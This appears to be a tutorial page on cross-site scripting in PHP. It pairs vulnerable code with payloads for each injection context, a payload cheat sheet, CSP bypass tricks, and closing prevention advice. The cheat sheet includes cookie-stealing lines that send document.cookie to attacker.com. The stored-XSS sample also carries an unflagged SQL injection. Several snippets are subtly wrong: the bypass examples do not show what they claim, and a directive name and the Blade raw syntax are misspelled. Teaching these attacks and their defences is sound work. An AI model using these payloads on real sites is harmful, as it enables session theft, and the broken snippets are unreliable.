PHP Security
Cross-Site Scripting (XSS) in PHP Applications
XSS in PHP Applications
Types of XSS
- Reflected XSS — payload is in the request, echoed immediately in the response
- Stored XSS — payload is saved in the database, executed when other users view it
- DOM-based XSS — payload is processed client-side by JavaScript, never touches the server
Basic Reflected XSS in PHP
// VULNERABLE
echo "Search results for: " . $_GET['q'];
// Payload: ?q=<script>alert(document.cookie)</script>
// Payload: ?q=<img src=x onerror=alert(1)>
// Payload: ?q=<svg onload=alert(1)>
Stored XSS
// VULNERABLE — comment stored in DB then displayed without encoding
$comment = $_POST['comment'];
$db->query("INSERT INTO comments (text) VALUES ('$comment')");
// Later displayed:
echo $row['text']; // stored XSS payload executes for every visitor
Context-Aware Injection
The injection context determines what payload works. Different HTML contexts require different payloads:
// Context 1: HTML body — standard tag injection
echo "<p>" . $input . "</p>";
// Payload: <script>alert(1)</script>
// Context 2: HTML attribute
echo '<input value="' . $input . '">';
// Payload: "><script>alert(1)</script>
// Payload: " onmouseover="alert(1)
// Context 3: JavaScript string
echo "<script>var x = '" . $input . "';</script>";
// Payload: '; alert(1); //
// Payload: \'; alert(1); //
// Context 4: href attribute
echo '<a href="' . $input . '">click</a>';
// Payload: javascript:alert(1)
// Context 5: Inside style tag
echo '<style>body { background: ' . $input . '; }</style>';
// Payload: red; } body { background: url(javascript:alert(1))
Bypassing htmlspecialchars()
htmlspecialchars() is commonly used but can still be bypassed if misconfigured or used in the wrong context.
// WRONG — missing ENT_QUOTES flag (only escapes < > & " but not ')
echo htmlspecialchars($input); // default flags
// In single-quoted attribute — still injectable!
echo "</input value='" . htmlspecialchars($input) . "'>";
// Payload: ' onmouseover='alert(1) — single quote not escaped!
// CORRECT — always use ENT_QUOTES and specify charset
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// CORRECT for attribute context:
echo '<input value="' . htmlspecialchars($input, ENT_QUOTES, 'UTF-8') . '">';
Bypassing filter_var()
// filter_var with FILTER_SANITIZE_STRING is deprecated and unreliable
$clean = filter_var($input, FILTER_SANITIZE_STRING);
// Still vulnerable to many payloads
// filter_var for URLs — doesn't prevent XSS
$url = filter_var($_GET['url'], FILTER_VALIDATE_URL);
// "javascript:alert(1)" is a valid URL! → XSS in href
XSS Payload Cheatsheet
// Basic
<script>alert(1)</script>
<script>alert(document.cookie)</script>
// Attribute injection
" onmouseover="alert(1)>
" onfocus="alert(1)" autofocus="
// Tag bypass
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<details open ontoggle=alert(1)>
// Filter bypass
<script>alert(1)</script> // case variation
<scr<script>ipt>alert(1)</script> // nested tag
<img src=x onerror="alert(1)"> // HTML entities
<img src=x onerror="\u0061lert(1)"> // unicode escape
// Cookie steal
<script>fetch('https://attacker.com/?c='+document.cookie)</script>
<img src=x onerror="new Image().src='https://attacker.com/?c='+document.cookie">
Content Security Policy (CSP) Bypass
// Weak CSP: script-src 'unsafe-inline' — useless
// Weak CSP: script-src * — allows any domain
// Bypass via allowed CDN
// If CSP allows cdn.jsdelivr.net:
<script src="https://cdn.jsdelivr.net/npm/angular@1.6.0/angular.min.js"></script>
<div ng-app ng-csr-no-unsafe-eval>{{constructor.constructor('alert(1)')()}}</div>
// Bypass via base tag injection
// If base-uri is not restricted:
<base href="https://attacker.com/"> // redirects all relative script loads
Prevention
// 1. Context-aware output encoding (always)
echo htmlspecialchars($val, ENT_QUOTES, 'UTF-8'); // HTML context
echo json_encode($val); // JS context
// 2. Content Security Policy header
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
// 3. HttpOnly cookie flag — XSS can't steal the cookie
session_set_cookie_params(['httponly' => true, 'secure' => true]);
// 4. X-XSS-Protection (legacy browsers)
header("X-XSS-Protection: 1; mode=block");
// 5. Use a template engine with auto-escaping (Twig, Blade)
{{ $variable }} // Blade auto-escapes
{{!! $variable !!}} // Blade raw — DANGEROUS, only when necessary
Key Rule: Always encode output based on the context it appears in. HTML body, HTML attributes, JavaScript, CSS, and URL contexts each require different encoding. htmlspecialchars() alone is not sufficient for JavaScript or URL contexts.